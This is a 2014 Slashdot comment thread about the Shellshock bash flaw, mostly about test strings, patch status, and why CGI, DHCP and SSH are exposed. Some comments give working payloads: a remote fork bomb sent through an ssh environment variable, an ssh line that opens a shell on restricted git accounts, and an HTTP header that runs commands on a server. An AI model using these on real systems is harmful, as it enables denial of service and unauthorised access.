I wonder if Debian's default /bin/sh being dash instead of bash reduces the attack surface somewhat.
Nope. I just tested dash on a Debian system which hadn't been upgraded yet. Dash is vulnerable too.
On an upgraded Debian dash is not vulnerable.

--
~.~
I'm a peripheral visionary.
Re:Already fixed in Debian... by Anonymous Coward · 2014-09-24 10:00 · Score: 2, Informative

You probably tested with a command line that invokes bash explicitly. dash doesn't even have the feature that this exploit targets.
Re:Already fixed in Debian... by Xylantiel · 2014-09-25 06:33 · Score: 1

The question would be which shell does the equivalent of system() in PHP, PERL, etc call? If the PHP or PERL code in question only uses system() to execute binaries and not scripts (which might spawn bash as you say) then it would not be vulnerable because it would be done with dash. Does anybody know which would be used? Might it depend on the form of the system() call?

Thanks god by Anonymous Coward · 2014-09-24 05:33 · Score: 4, Funny

Thanks god I am using windows.

Re:Thanks god by LordLimecat · 2014-09-24 06:00 · Score: 2

Thats not a powershell vulnerability, its a piece of malware written in Powershell.
What you said would be like claiming C++ exploits because many viruses are written in C++.
Re:Thanks god by msauve · 2014-09-24 06:00 · Score: 4, Funny

Your god makes you use Windows? You have a vengeful god.

--
"National Security is the chief cause of national insecurity." - Celine's First Law
Re:Thanks god by nogginthenog · 2014-09-24 06:23 · Score: 1

I've got cygwin Bash installed in Windows...
Re:Thanks god by chipschap · 2014-09-24 06:53 · Score: 1

I almost thought I would be disappointed and not see a "this proves Linux is bad and Windows is good post." Thank you for making my day, in a certain way.
Re:Thanks god by iggymanz · 2014-09-24 09:27 · Score: 1

That's nothing, my god makes me deploy software written by developers who prefer to write the code that will run on a Linux or Unix box, on their windows desktop. Their code will therefore do things like create a directory called "C:" and make a bunch of subdirectories under that, the deepest of which contains log files. So your god is vengeful, mine is a spiteful asshole.

Re:You mean bash.org ? by peragrin · 2014-09-24 05:37 · Score: 1

Bash.org is dead. Even net craft confirmed it.

--
i thought once I was found, but it was only a dream.

Test string here: by B5_geek · 2014-09-24 05:41 · Score: 5, Informative

This is the test to see if you are vulnerable: env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

--
"The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)

Re:Test string here: by TheCarp · 2014-09-24 05:51 · Score: 2

I have to admit, my suspicous old self had to spend a minute making sure this wasn't a fork bomb. Which, I have to say, this would be the perfect thread for if you were into that sort of mischief. In any case, yah that shouldn't worl. That really shouldn't work at all.

--
"I opened my eyes, and everything went dark again"
Re:Test string here: by B5_geek · 2014-09-24 05:54 · Score: 1

=)
I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.
I'm glad I am not the only paranoid one.

--
"The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)
Re:Test string here: by TheCarp · 2014-09-24 05:57 · Score: 1

> I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.
lol well, as annoying as they can be, I have beaten a fork bomb before without rebooting so, I was confident enough after a quick perusal to not be afraid, especially since....come on, the function isn't even being called how can it possibly exec.....fuck

--
"I opened my eyes, and everything went dark again"
Re:Test string here: by B5_geek · 2014-09-24 06:00 · Score: 5, Informative

SSH into your host.
from the bash prompt just paste the above string.
i.e.
user@host $env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
--------------------
If you see:
vulnerable
this is a test
Then you are vulnerable and need to update your system.
If all you see is:
this is a test
Then you are ok.

--
"The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)
Re:Test string here: by TheCarp · 2014-09-24 06:04 · Score: 2

I was actually just thinking another way to use this might be to have ssh pass x='() { :;}; echo vulnerable' as a variable to remote systems, that way whenever you login to a remote system, it just tells you whether it is vulnerable or not on login.

--
"I opened my eyes, and everything went dark again"
Re:Test string here: by Spaham · 2014-09-24 06:10 · Score: 1

was vulnerable (on debian),
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
Just ran apt-get update and upgrade and :
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
Re:Test string here: by chihowa · 2014-09-24 06:15 · Score: 4, Informative

The (ancient) version of bash that ships with OS X appears vulnerable. Luckily, as a remote exploit, only authenticated ssh sessions and cgi scripts etc expose it, so most single user workstations (of all OSs) should be safe.
If this is a bash exploit, and not a Linux exploit, why all of the focus on Linux in the article? I use bash on many different OSs.

--
If you want a vision of the future, imagine a youtube comments section scrolling - forever.
Re:Test string here: by OzPeter · 2014-09-24 06:22 · Score: 5, Informative

I just tried it on 2 different version s of OSX: 10.9.4 and 10.7.5 and confirm that they print out the "vulnerable" message

--
I am Slashdot. Are you Slashdot as well?
Re:Test string here: by nogginthenog · 2014-09-24 06:37 · Score: 1

Interestingly Cygwin's Bash was vulnerable until I updated. Now I get the same message as you.
Re:Test string here: by Corporate+Gadfly · 2014-09-24 06:48 · Score: 1

Fixed on Homebrew.

--
Corporate Gadfly
Jonathan Archer: the most beaten up Enterprise captain in Star Trek history
Re:Test string here: by armanox · 2014-09-24 06:50 · Score: 1

That's a good question. I'm seeing my IRIX systems at home as vulnerable, but I have AcceptEnv disabled in sshd_config, and am not running web servers on them - I feel like the attack vectors are limited.
But your point is valid - ANY OS that uses Bash is a target.

--
I'm starting to think GNU is the problem with "GNU/Linux" these days.
Re:Test string here: by chipschap · 2014-09-24 06:59 · Score: 1

Seems like a fix got pushed out pretty fast ....
Re:Test string here: by RavenLrD20k · 2014-09-24 08:15 · Score: 1

*blink*
Um...please tell me this is Poe's law at work and you're not a complete idjit [sic].
Re:Test string here: by menkhaura · 2014-09-24 08:44 · Score: 1

Funnily enough, Debian unstable doesn't carry a fix yet. Bash 4.3-9, as of 2014-09-24 20:42:47 UTC

--
Stupidity is an equal opportunity striker.
Fellow slashdotter Bill Dog
Re:Test string here: by Megane · 2014-09-24 08:53 · Score: 2

FWIW, I tried changing "echo vulnerable" to "whoami" and it didn't work. In fact, it segfaulted! Then I changed it to "echo `whoami`" and it worked as expected. So while it may possibly only work directly with built-in shell commands, they still get the full benefit of the command line parser and its handling of backquotes.

--
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
Re:Test string here: by kthreadd · 2014-09-24 10:18 · Score: 1

Stable is priority number one, testing and unstable will follow.
Re:Test string here: by multiplexo · 2014-09-24 10:45 · Score: 4, Informative

Most sshd daemons aren't configured to accept just any environment variables, they limit exposure with an AcceptEnv directive in the sshd configuration file (/etc/ssh/sshd_config on most Linux versions. This means that

env x='() { :;}; echo vulnerable' ssh some_user@some_server

probably won't work on most systems but

env LC_FRED='() { :;}; echo vulnerable ssh some_user@some_server'

will if the server is configured to accept the LC_* environment variables with the AcceptEnv directive in sshd_config.

--
cheap labor conservatives - they want to keep you hungry enough to be thankful for minimum wage.
Re:Test string here: by smaddox · 2014-09-24 11:07 · Score: 1

Just installed homebrew's bash, and it's still showing as vulnerable:
$ /usr/local/bin/bash $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
What am I doing wrong?
Re:Test string here: by Anonymous Coward · 2014-09-24 11:26 · Score: 1

zsh on Mac OS X also reports "vulnerable". Does that mean it's not just a bash bug or the test string is only accurate for bash?
Re:Test string here: by Nixoloco · 2014-09-24 12:00 · Score: 1

Even if it is fixed in homebrew, it's not like the system bash isn't still sitting there on your system vulnerable. Let's hope some day Apple will port in a fix to the system bash.
Re:Test string here: by steelfood · 2014-09-24 12:29 · Score: 1

That's a test of bash specifically. If you want to see how vulnurable your system could potentially be, change bash to sh. Since all sorts of things will spawn shells for some purpose or another, any of them is an attack vector.
Most Linux distros (except Ubuntu and derivatives, and more recent Debian) will be vulnurable because sh symlinks to bash. But for non-Linux *NIX systems like BSD, this may or may not be true.
Patch anyway, but if you've got a vulnurable public-facing system, you may want to go over your firewall logs as well.

--
"If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
Re:Test string here: by Anonymous Coward · 2014-09-24 13:03 · Score: 1

I did that too, except with pdksh, and was also surprised to see a "vulnerable" report. Try something like this instead:

env x='() { :;}; echo vulnerable' zsh -c "echo this is a test"
Re:Test string here: by Corporate+Gadfly · 2014-09-24 13:16 · Score: 1

Just installed homebrew's bash, and it's still showing as vulnerable:
$ /usr/local/bin/bash $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
What am I doing wrong?
Perhaps /bin is before /usr/local/bin in your PATH.

--
Corporate Gadfly
Jonathan Archer: the most beaten up Enterprise captain in Star Trek history
Re:Test string here: by mmontour · 2014-09-24 14:35 · Score: 1

FWIW, I tried changing "echo vulnerable" to "whoami" and it didn't work. In fact, it segfaulted!

Maybe a path issue? Try it with /usr/bin/whoami (or wherever it is on your system).
On the system I tested, I do get a segfault but only after it has run the command. It's definitely not limited to built-in commands; "/usr/bin/man bash" worked just fine.
Re:Test string here: by RLiegh · 2014-09-24 18:39 · Score: 1

I updated Linux Mint x86 and tried it:

rl@home ~ $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
rl@home ~ $
I'm gonna assume that means the version they just pushed out is fixed...
Re:Test string here: by ArsenneLupin · 2014-09-24 23:12 · Score: 1

Or, more easily: the exploit string could be packed into the TERM variable, which almost all ssh's and even telnet daemons pass on the the shell: env TERM='() { :;}; echo vulnerable ssh some_user@some_server'
Re:Test string here: by Dagger2 · 2014-09-25 01:31 · Score: 1

SSH can be configured to lock down which commands the user can run; this is common in combination with e.g. gitolite for letting people push to a git repository without giving them full shell access. Anybody with access to such a server can now run arbitrary local commands
Re:Test string here: by McKing · 2014-09-25 02:45 · Score: 1

Even if you are running homebrew's bash as your current shell, your command is just calling "bash" and not "/usr/local/bin/bash". I suspect that your PATH has /bin before /usr/local/bin. Try this instead:
env x='() { :;}; echo vulnerable' /usr/local/bin/bash -c "echo this is a test"

--
If only "common" sense was actually that common...
Re:Test string here: by jeremyp · 2014-09-25 03:00 · Score: 1

Suppose you are a guest at my house and you want to ssh into your own computer at your house. I say no problem and I create you a user account on my computer which you then use to ssh to your computer.
Still don't think it's a problem?
Of course I could also have a key logger installed.

--
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
Re:Test string here: by chihowa · 2014-09-25 03:30 · Score: 1

All of the networking functions are performed by native tools, but I'm not sure of the details. As a fingers-crossed-with-rescue-media-ready experiment, OS X seems to run normally with all of the shells removed (except the terminal and my own scripts, of course).

--
If you want a vision of the future, imagine a youtube comments section scrolling - forever.
Re:Test string here: by RavenLrD20k · 2014-09-25 07:11 · Score: 1

If it outputs:

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
This is a test
or just

This is a test
then your server is patched successfully. Whether or not the error message displays depends on bash configuration. I have three CentOS 6.5 servers that I manage in my house and one in the cloud. On the 3 64-bit machines which were original installs it generates the error message after patching. On the 1 32-bit machine which was upgraded from a previous version of CentOS I just get the "This is a test" message with no error after patching.
The idjit part of the statement is running CGI scripting on an exposed web server. It was also done mostly tongue in cheek, hence the deliberate misspelling of idiot. The reason for this statement is that it can be easily inferred that since he's (presuming male from the 'Lord' in his handle) directly able to administer a router, either this server is production for a business, or he's at home.
If it's the former, all sympathy goes out the window as well as the tongue in cheek intent since he's getting paid to administer these systems and keep them secure; which also means that he should know how to patch bash even if his distro provider hasn't put the patch in their upstream. A production server is that important.
On the other hand, if it's the latter, a greater deal of leeway can be given, and we can safely assume he's a hobbyist. In this case, it would be prudent for him to turn this into a learning situation. First, yes, take down port 80. Second, if your distro doesn't have the patch in the upstream yet, this would be a good opportunity to learn how to patch by hand. The tarball can be downloaded from the gnu.org site (not giving a direct link since the point of a hobbyist server is to perform your own research). Read the documentation to learn how to manually install the patch. Once your system is patched and you pass the test, you can open up port 80 again. Finally, you'll want to learn other options to processing your forms or dynamic pages than relying on CGI scripting. It's an old methodology that leaves your machine open to a host of problems, as is evident by this shellshock vulnerability.
On a final note: I guess I'm just old now, but way back when I was using Redhat 5, whenever I needed to patch something on my box that I'd dial in on I wouldn't normally wait on the Distro's upstream, but instead install the source project myself. Not only did this keep my systems current, but it also helped me with my understanding of that system and every way that it operated. There's just a whole lot of understanding that seems to get lost when you're not dealing with levels low enough.
Re:Test string here: by Darinbob · 2014-09-25 11:00 · Score: 1

Note that if you use "bash -r -c" instead that you get a restricted shell (ie, more secure) and you don't get the vulnerability.
Although I don't think there's a portable way to get a restricted shell with all shells out there (dash doesn't seem to have that ability), so things that want to execute a subshell to execute commands are in a pickle, either use the default shell with no restricted option or know which type of shell is being used underneath the hood.
Re:Test string here: by TheCarp · 2014-09-26 04:10 · Score: 1

Yes but the intent wasn't to exploit so much as to have a way to raise a flag when connecting to a vulnerable system, so as to know it still needs updating.

--
"I opened my eyes, and everything went dark again"

Really? Using bash for CGI? by Anonymous Coward · 2014-09-24 05:48 · Score: 4, Interesting

All the systems I've done security pen tests against that were using bash for CGI were so easy to hack via other means it wasn't funny. And of course that web server CGI was running as root so root shell and done.

Stop using Bash for CGI unless you want to get pwned. Similar theme with 90% of the Perl CGI I run into.

Terminal vulnerabilities by Dimwit · 2014-09-24 05:48 · Score: 2

My favorite of this sort of thing is CVE-2009-1717, which was a bug in Apple's terminal emulator in Mac OS X. Sending certain escape sequences to it caused it to blow up and potentially execute code. What was fun is that putting a "telnet://" link in a web page would automatically cause Mac OS X to automatically open a terminal and connect to a remote host with no prompting by the user. It was a pretty neat vulnerability.

--
...but it's being eaten...by some...Linux or something...

Re:You mean bash.org ? by Dracos · 2014-09-24 05:50 · Score: 1

Has Netcraft unconfirmed the death?

Exploit depends on not validating input? by h4ck7h3p14n37 · 2014-09-24 05:50 · Score: 2

Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

The example given in the post to oss-security mentions HTTP request headers containing malicious data being passed into CGI programs which then call out to Bash. Wouldn't taint-checking input eliminate that attack vector?

Re:Exploit depends on not validating input? by Qzukk · 2014-09-24 06:32 · Score: 2

It's not being passed in as usual data, it's being passed in as environment variables, most programmers ignore all the variables that are not relevant to their program (which is usually all of them).

--
If I have been able to see further than others, it is because I bought a pair of binoculars.
Re:Exploit depends on not validating input? by artbristol · 2014-09-24 06:49 · Score: 1

Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?
Yes, but the program failing to validate the input is bash itself. Not your code.
As soons as you get to #!/bin/bash you're exploited. Doesn't matter how careful your script code is.

This is really, really bad. Does your home router have any cgi scripts that use bash? This remote exploit can be triggered with a query parameter.
Re:Exploit depends on not validating input? by Bacon+Bits · 2014-09-24 06:50 · Score: 2

When httpd runs a CGI script, it passes data to the script with bash environment variables. That means the code would be executed by httpd in whatever context it runs CGI scripts. The CGI script itself hasn't even been executed yet.

--
The road to tyranny has always been paved with claims of necessity.
Re:Exploit depends on not validating input? by nabsltd · 2014-09-24 07:46 · Score: 1

Does your home router have any cgi scripts that use bash?
Even if it did, it only serves web pages to IPs on the "LAN" side, right?
If not, you've already been pwned long ago.
Re:Exploit depends on not validating input? by eneville · 2014-09-24 08:20 · Score: 1

blessed are the pessimist for they set -i.

--
Why UNIX?
Re:Exploit depends on not validating input? by eneville · 2014-09-24 08:21 · Score: 1

er, env -i is what i meant

--
Why UNIX?

Re:Maybe it has to do with spelling by Dracos · 2014-09-24 05:58 · Score: 1

Because MS hates standards. Their first vowel for exploitable software is 'i'. If you think that doesn't hold up, prepend Microsoft or Windows.

would the "is fixed because i use something else" by rewindustry · 2014-09-24 06:00 · Score: 1

clowns please pipe down.

this seems a simple error to actually fix, so why is everybody fapping off about this thing, and not fixing it?

or did i miss the patch?

i'm actually hoping for a reply here, sorry if i missed the meeting, otherwise will be applying my own patch, very quickly.

i rely on bash and it's isms, it's a good thing, and ought to be more of a standard.

http CGI scripts? Did I get stuck in 1996? by Vellmont · 2014-09-24 06:01 · Score: 1

So far, HTTP requests to CGI scripts have been identified as the major
attack vector.

Umm.. who still does that? That sounded wonky, risk-prone, and a hack in the mid 90s. Who's still using CGI scripts to execute shell code?

--
AccountKiller

Re:Maybe it has to do with spelling by gstoddart · 2014-09-24 06:02 · Score: 2

Flash... Java... Bash. They all have the letter 'a' in them as their first vowel.
I think it's a conspiracy by the first letter of the english alphabet.... Yup, that must be it.
Oh wait.... "Windows". Hmm... that doesn't fit the pattern at all, does it?

Well, that's OK. i is like a for large enough values of a (or really small values of i).

And depending on what part of the world you're in, the sound of vowels can change quite a bit.

A few years back, my wife's mother and some friends were in the southern US ... she walked into the store and asked if they have any pins ... the cashier asked if she "wanted a ball point pin or a fountain pin". I kid you not.

In fact, my wife had an economics prof from Texas once. There was no discernible difference between the sound of "microeconomics" and "macroeconomics", because apparently a and i have the same value there.

Therefore, in Texas, your statement is 100% true. ;-)

--
Lost at C:>. Found at C.

format C: by rewindustry · 2014-09-24 06:02 · Score: 1

(nt)

Re:Linux is just a full of holes as Windows by armanox · 2014-09-24 06:11 · Score: 1

Yes, because it's not a Linux hole. GNU Bash is the vulnerable software. So if you have Bash installed, you're vulnerable (I'm about to test the vulnerability myself).

--
I'm starting to think GNU is the problem with "GNU/Linux" these days.

git@ shell accounts using gitolite and gitosis by paskie · 2014-09-24 06:11 · Score: 1

You can get shell on git@ accounts set up with gitolite and gitosis, at least some of their versions will use /bin/bash as the login shell (and only use ~/.ssh/authorized_keys to restrict the commands). One easy way to check whether your git server account is vulnerable:

ssh git@yourgitserver '() { echo $1; }; /usr/bin/id'

--
It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams

Re:git@ shell accounts using gitolite and gitosis by shitner · 2014-09-24 17:44 · Score: 1

Even better, if you have an access to git server you can do:
ssh git@gitserver '() { echo $1; }; /bin/bash'
and you get an interactive bash session.

wtf by drinkypoo · 2014-09-24 06:14 · Score: 1

Who does CGI with anything but a restricted shell these days? And should we shoot them now, or after they fix their scripts?

--
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"

Re:wtf by iggymanz · 2014-09-24 08:03 · Score: 1

it affects other things than CGI, remote services that call bash for example: dhcp client being one listed in Redhat's CVE page

so a remote fork bomb is possible? by Killer+Instinct · 2014-09-24 06:24 · Score: 4, Interesting

VAR=() { ignored; }; : :(){ :|:& };:

--
#include bier;

Re:so a remote fork bomb is possible? by multiplexo · 2014-09-24 11:26 · Score: 5, Interesting

Yes, run this:

env LC_BOMB='() { :;}; :(){ :|:& };:' ssh some_user@some_system

And if some_user is using bash and the ssh daemon on the system is configured with AcceptEnv LC_*, which most of them are, you'll end up with an awesome remote fork bomb.

--
cheap labor conservatives - they want to keep you hungry enough to be thankful for minimum wage.
Re:so a remote fork bomb is possible? by rdnetto · 2014-09-25 01:25 · Score: 1

For that specific case, it does require SSH access.
However, SSH access is often used for protocols like git, which makes this rather problematic.
Additionally, the vulnerability is just as effective using the CGI variables via apache.

--
Most human behaviour can be explained in terms of identity.

You just got bashed by acscott · 2014-09-24 06:30 · Score: 1

The environment bashes you for 99 Hit Points! You are dead.

Re:environmental? by peter.kingsbury · 2014-09-24 06:34 · Score: 1

Obviously you've never used Linux in the wild.

You are mistaken. No input processing needed by raymorris · 2014-09-24 06:50 · Score: 3, Informative

> Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

Suppose you have pwd.cgi, which prints the name of the current directory:

#!/bin/sh
echo -e "Content-type: text/plain\n\n"
pwd

Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.

And in Gentoo by crow · 2014-09-24 06:57 · Score: 2

app-shells/bash-4.2_p47-r1 is not vulnerable. I just updated.

one-liner df.cgi, uptime.cgi by raymorris · 2014-09-24 06:59 · Score: 1

Many, many sites have one line scripts like this laying around:

#!/bin/sh

echo -e "Content-type: text/plain\n\n"
df -h

Or similarly, a script that just runs pwd or uptime.

Re:one-liner df.cgi, uptime.cgi by dfsmith · 2014-09-24 10:06 · Score: 1

The package man2html (installed by default on my server) had a cgi script starting #!/bin/sh. Urk.

Re:environmental? by chipschap · 2014-09-24 07:00 · Score: 1

Why do people say/write "environmental" variable? I've never seen the that word used in shell documentation or any literature on *nix written by competent authorities. It's "environment variable."

It's due to global warming.

Re:Maybe it has to do with spelling by DeputySpade · 2014-09-24 07:14 · Score: 1

Sure, but what about 'Gates'? ;-)

--

This space intentionally left blank

Not arbitrary variables - QUERY_STRING by raymorris · 2014-09-24 07:29 · Score: 5, Informative

> Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process, well...you are already pretty compromised. If you wrote your CGI, then you are the one that compromised yourself.

The contents of the CGI script don't matter. The exploit occurs before the script runs. It happens as bash is setting up the environment in which the script will be run.

Suppose you have pwd.cgi, which prints the name of the current directory:

#!/bin/sh
echo -e "Content-type: text/plain\n\n"
pwd

Notice the script uses no input at all. It is potentially vulnerable. Here's why. Suppose you did want to validate your input. You'd look at the contents of $QUERY_STRING, right? You can find what the user entered in the QUERY_STRING environment variable because bash puts it there. That's the step where the problem lies - bash can EXECUTE the contents of the query string while setting the environment variable. This occurs before the user's script even begins to run.

Re:Not arbitrary variables - QUERY_STRING by DahGhostfacedFiddlah · 2014-09-24 07:37 · Score: 1

Thank You, raymorris. I'd read most of the thread and still didn't have a clear idea of the problem.

--
Last post!
Re:Not arbitrary variables - QUERY_STRING by menkhaura · 2014-09-24 08:37 · Score: 4, Informative

Setup a local cgi script on your Linux machine. Telnet into its port 80. Assuming your cgi script is at /cgi-bin/test.sh, type the following in the telnet prompt:
GET /cgi-bin/um.pl HTTP/1.1 Host: localhost Custom: () { :; }; while read -r l; do echo $l; done
Press ENTER twice after the last header.
If you don't use a shell builtin, the shell ends with a segfault and Apache shows an error, but the command is executed server-side. Scary.

--
Stupidity is an equal opportunity striker.
Fellow slashdotter Bill Dog
Re:Not arbitrary variables - QUERY_STRING by menkhaura · 2014-09-24 08:39 · Score: 1

Of course, replace um.pl with test.sh; whatever, you get the gist.

--
Stupidity is an equal opportunity striker.
Fellow slashdotter Bill Dog

Re:Really? Using bash for CGI? by MSG · 2014-09-24 07:47 · Score: 1

From the CVE, I'm pretty sure the problem isn't limited to CGI written in Bash. The problem affects any CGI that *calls* bash, which means any call to system() in any language is going to cause a problem.

Got the bash update this mawning for my Debian... by antdude · 2014-09-24 08:07 · Score: 1

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

$ bash --version
bash --version
GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu)
This is from my Debian stable box.

Is that good or bad? :O

--
Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).

Actually, no, apk by raymorris · 2014-09-24 08:28 · Score: 1

Actually no, that comment does not explain either of the two key points, a) it happens before script is executed and most importantly b) it therefore is independent of the content of the script.

Nice try though, apk.

Worse than you think. by slimjim8094 · 2014-09-24 08:44 · Score: 5, Interesting

Almost *ANY* CGI is vulnerable, because the way CGI works is by environment variables. And the attacker can control them. You don't have to be doing anything stupid or wrong to be affected. It looks like other ways of executing web applications (e.g., mod_php) are safe - to the extent that they don't use a popen or a system() or something, which is a pretty common thing to do.

Your DHCP client (on a Linux) machine passes data to its hooks via environment variables. These can be set by the attacker. Even better, it's running as root. Boom, connect to a rogue AP and get rooted while receiving an address assignment.

You probably do Git commits via a (locked-down) SSH login. That's compromised.

Shells are everywhere. Again, this doesn't require your application to have screwed up. This is a flaw in how environment variables are parsed and set, which is something that was presumed safe, so nobody thought about it. Bad bad bad bad. Not Heartbleed bad, but close.

--
I have developed a truly marvelous proof of this comment, which this signature is too narrow to contain.

Re:Worse than you think. by Mirar · 2014-09-24 23:50 · Score: 1

How do android/ios run DHCP?
How do cheap all-in-one ADSL modems run DHCP?
I think that will tell us how bad this is. That's where the worms will live.
Re:Worse than you think. by EXrider · 2014-09-25 07:17 · Score: 1

Ew that's bad, I also just confirmed that Mac OS X and iOS's DHCP client process (configd) runs as root as well.

--
grep -iw skynet /etc/services
Re:Worse than you think. by EXrider · 2014-09-25 07:21 · Score: 1

iOS and Mac OS both run their DHCP clients in the configd process, which runs as root.

https://developer.apple.com/library/mac/documentation/Darwin/Reference/Manpages/man8/configd.8.html

http://www.opensource.apple.com/source/configd/

--
grep -iw skynet /etc/services
Re:Worse than you think. by EXrider · 2014-09-26 02:46 · Score: 1

As it turns out, configd doesn't make any calls to Bash, so OS X and iOS are safe from DHCP exploits in this case. Also noteworthy, relatively ancient versions of OS X and BSD also don't default to the Bash shell.

http://complexitydaemon.wordpress.com/2014/09/26/bash-os-x-dhcp-and-you/

--
grep -iw skynet /etc/services

Re:Remote exploit when it cant be exploited remote by Megane · 2014-09-24 08:48 · Score: 2

Sure, but anything remote that can set up environment variables before starting bash can exploit it. Lots of idiot programmers like to blindly shell out to do stuff even when there's a simple library function to do things, such as unlink("$path") vs. system("rm $path"). And environment variables have this pesky habit of sticking around when you do that. Environment variables are commonly used with CGI, which is also commonly used with idiot programmers. So while it may be a "local" exploit, that's with unusually large values of "local".

--
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }

already patched in debian/ubuntu by LocutusOfBorg1 · 2014-09-24 09:01 · Score: 1

Debian and ubuntu have been patched by the security team 4 hours ago (more or less when this article has been written).

Re:already patched in debian/ubuntu by Mike+Frett · 2014-09-24 23:07 · Score: 1

Yeah this is FIXED already people. It's a non-issue.
Re:already patched in debian/ubuntu by Mirar · 2014-09-25 19:36 · Score: 1

It's not FIXED in countless of devices (phones, modems, routers) that will not receive an update.

My explanation by spitzak · 2014-09-24 09:23 · Score: 1

This is bad. The reason is lots of things that use bash put unchecked data into environment variables.

As an example, imagine some cgi wants to test is a string is valid, and somebody wrote a clever bash script that does this check, and reads the string by looking in $INPUT. The cgi takes whatever the user typed on their web form, does setenv("INPUT", text) and then runs the bash script, which uses "$INPUT" at places it wants the text.

No matter how carefully written the bash script is, if the user can type "() { :;}; exploit" into the text field, it will run "exploit". There is no reason for the cgi to test for any syntax errors because that is the job of the bash script!

It seems hard to believe such a bug is possible. It appears that when setting an environment variable, if it is a function, it runs some code that splits the text at semicolons, puts the first section in the environment variable, then runs the rest as shell input! But I can't figure out any reason such code exists. I thought at first it was pasting "export " on the start of the environment line and executing that using the interpreter, but tests show that does not work because it splits at the spaces. And if you add quoting to fix that then it also fixes the semicolon. And it obviously examined the environment variable to see if is a function, because semicolons in non-function ones are handled correctly. So I think bash code might be quite a mess for such a bug to be possible without much more obvious bugs happening...

Re:My explanation by spitzak · 2014-09-24 11:10 · Score: 2

Well I don't know much bash, so I figured out why this is happening, though it still seems unbelievable.
Apparently the normal way to define a function is to write "x() {...}". But it stores it in an environment variable for some reason, I think so that a recursively called bash gets the same function definition.
To support that, on startup it scans the environment for variables starting with "() {" (spacing must be exactly that). It then defines the function by pasting the variable name onto the start of the variable and interpreting that. And the interpreter splits at the semicolons and executes the remaining text as commands, leading to this bug.
The whole thing looks pretty messy. Certainly it should have been possible to call some lower-level function *after* the interpreter has figured out it is defining a function, and that one would barf on the semicolon. Also you get this interesting and misleading effect:
$ export x='() { echo WORKS;}'
$ x
x: command not found
$ bash -c x
WORKS
Their solution is rather annoying because you now cannot set environment variables to all possible byte strings. That sucks. They should have left the environment variable set to the text and not defined the function.
Re:My explanation by k6mfw · 2014-09-24 18:15 · Score: 1

I don't know bash either (been dabbling on learning to code), I see this headline thinking, "looks like I picked the wrong week to learn about bash."

--
mfwright@batnet.com
Re:My explanation by countach · 2014-09-25 01:17 · Score: 1

The whole idea that any and every environment variable can contain runnable code which would automatically be loaded was pure insanity on somebody's part.

Re:Maybe it has to do with spelling by iggymanz · 2014-09-24 09:23 · Score: 1

ah but in Texan micro is just two syllables "my-crow" while macro is three "my-yah-crow". Hope that helps.

ok I made that shit up

Re:Got the bash update this mawning for my Debian. by kthreadd · 2014-09-24 10:17 · Score: 1

That's good. The version number means nothing since Debian backported the fix rather than upgrading bash completely, but the check above didn't say vulnerable so you're clear.

Re:yum: Could not find update match for bash by sosume · 2014-09-24 10:20 · Score: 3, Informative

sudo mv /bin/bash /bin/woosh

Re:Mostly a CGI issue? by kthreadd · 2014-09-24 10:25 · Score: 1

It's a big issue if you're using locked-down ssh, for example in a git server.

Re:Got the bash update this mawning for my Debian. by antdude · 2014-09-24 10:27 · Score: 1

Thank you, sir. Good job to Debian team on releasing the fix!

--
Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).

Re:PHP users. by wimg · 2014-09-24 11:06 · Score: 1

php-fpm uses the fastcgi protocol, which is not the same as cgi and therefor not vulnerable.

sudo aptitude safe-upgrade by mrflash818 · 2014-09-24 11:52 · Score: 1

sudo aptitude update;
sudo aptitude safe-upgrade;

done.

--
Uh, Linux geek since 1999.

Re:yum: Could not find update match for bash by Anonymous Coward · 2014-09-24 12:24 · Score: 1

check your updates repository to make it is enabled and a CentOS official repo.
Even though it often isn't set to enabled, oddly when I put enabled=1 in my .repo file for it, the update was found.

I am wrong but... by EmperorOfCanada · 2014-09-24 13:58 · Score: 1

Am I wrong but that this exploit only works if you are running CGI scripts? Am I also wrong in thinking that if you are running PHP as an Apache Mod that this exploit doesn't work unless you are executing command line stuff?

Also the SSH aspect seems to be more of a privilege problem whereby someone has to have a valid ssh account before they can start hacking?

